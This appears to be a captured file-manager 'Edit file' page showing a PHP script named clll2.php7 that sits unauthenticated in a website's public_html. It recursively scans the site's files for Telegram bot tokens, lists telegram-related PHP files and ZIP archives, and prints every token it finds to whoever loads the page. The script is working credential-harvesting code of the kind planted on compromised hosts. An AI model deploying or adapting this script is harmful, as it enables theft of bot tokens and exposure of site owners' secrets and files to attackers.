Edit file File name : clll2.php7 Content :<?php ini_set('memory_limit', '512M'); $baseDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; // Function to check if the directory is a system directory function isSystemDirectory($path) { $systemDirs = [ '/var', '/etc', '/proc', '/sys', '/run', '/lib', '/usr', '/bin', '/sbin', '/boot', '/opt', '/root', '/srv', '/dev', '/tmp', '/mnt', '/media' ]; foreach ($systemDirs as $sysDir) { if (strpos(realpath($path), $sysDir) === 0) { return true; } } return false; } while (!preg_match("/public_html$/i", $baseDir) && $baseDir !== '/') { $baseDir = dirname($baseDir); } function searchForSensitiveData($path, $depth = 0) { if ($depth > 5) { return; } if (isSystemDirectory($path)) { #echo "Skipping system directory: $path<br>"; return; } if (is_dir($path)) { if ($dirHandle = @opendir($path)) { while (($file = readdir($dirHandle)) !== false) { if (in_array($file, ['.', '..', '.htaccess'])) { continue; } $filePath = "$path/$file"; if (preg_match("/\.pdf$/i", $file)) { continue; } if (is_file($filePath)) { if (filesize($filePath) > 10 * 1024 * 1024) { #echo "Skipping large file: $filePath<br>"; continue; } $handle = @fopen($filePath, "r"); if ($handle) { while (($line = fgets($handle)) !== false) { $tokenRegex = '/https:\/\/api\.telegram\.org\/bot[A-Za-z0-9-_]+:[A-Za-z0-9-_]{35}|[0-9]{9,10}:[A-Za-z0-9-_]{35}/'; if (preg_match_all($tokenRegex, $line, $matches)) { foreach ($matches[0] as $match) { echo "Sensitive data found in $filePath | $match<br>"; } } } fclose($handle); } else { echo "Failed to open file $filePath<br>"; } if (preg_match("/^(telegram|send_telegram)\.php$/i", $file) || preg_match("/telegram.*\.php$/i", $file)) { echo "Telegram-related PHP file found: $filePath<br>"; } if (preg_match("/\.zip$/i", $file)) { echo "ZIP file found: $filePath<br>"; } } elseif (is_dir($filePath)) { searchForSensitiveData($filePath, $depth + 1); } } closedir($dirHandle); } else { echo "Failed to open directory $path<br>"; } } } searchForSensitiveData($baseDir); ?>Save